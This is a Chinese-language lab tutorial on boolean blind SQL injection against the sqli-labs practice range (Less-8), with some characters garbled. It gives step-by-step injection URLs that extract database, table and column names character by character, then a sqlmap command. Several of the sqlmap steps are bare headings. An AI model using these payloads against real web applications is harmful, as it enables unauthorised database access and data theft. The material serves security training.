sql盲注
提示:文章寫完后,目錄可以自動(dòng)生成,如何生成可參考右邊的幫助文檔
sql注入--盲注
- 前言
- 一、什么是盲注
- 二、步驟示例
- 1.測試注入點(diǎn)
- 2.測所在數(shù)據(jù)庫長度
- 3. 利用ASCII碼猜當(dāng)前數(shù)據(jù)庫名
- 4.利用ASCII碼查詢表名
- 5、利用ASCII碼查詢字段名
- sql手注所用到的函數(shù)總結(jié)
- sqlmap進(jìn)行sql盲注
前言
靶場環(huán)境:sqli-labs-master 第8關(guān)
注入攻擊的本質(zhì):把用戶的輸入當(dāng)作代碼執(zhí)行。
其中存在兩個(gè)關(guān)鍵條件:
(1)用戶可以控制輸入。
(2)用戶的輸入被拼接到原代碼上被執(zhí)行。
提示:以下是本篇文章正文內(nèi)容,下面案例可供參考
一、什么是盲注
所謂盲注便是在服務(wù)器沒有錯(cuò)誤回顯的時(shí)候完成的注入攻擊。sql盲注主要分為三類,分別是布爾盲注、延時(shí)盲注(也叫時(shí)間盲注)、報(bào)錯(cuò)盲注。
二、步驟示例
1.測試注入點(diǎn)
http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and 1=2 --+ #id 處存在注入點(diǎn)2.測所在數(shù)據(jù)庫長度
http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (length(database()))=8 --+3. 利用ASCII碼猜當(dāng)前數(shù)據(jù)庫名
http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),2,1)))=101 --+以此類推,可以通過ASCII碼所對應(yīng)的值得到數(shù)據(jù)庫名。
4.利用ASCII碼查詢表名
具體查詢過程跟查數(shù)據(jù)庫名基本一樣
http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101 --+過程跟上述命令類似,只是有少許不同,相關(guān)的一些命令會在后面給出
5、利用ASCII碼查詢字段名
http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))=105 --+sql手注所用到的函數(shù)總結(jié)
length() #返回字符串的長度 substr() #截取字符串 (語法:substr(str,pos,len);) ascii() #反回字符的ascii碼如上所述,利用手注進(jìn)行盲注非常麻煩,因此我們可以利用工具進(jìn)行sql注入
sqlmap進(jìn)行sql盲注
1.尋找注入點(diǎn),
sqlmap -u 192.168.159.130/sqli-labs-master/Less-8/?id=1
由圖中可以看出,sql注入類型為bool盲注
2、查庫名
3、查表名
4、查字段名
總結(jié)
- 上一篇: webpack.config.js 参数
- 下一篇: vue-cli项目中.postcssrc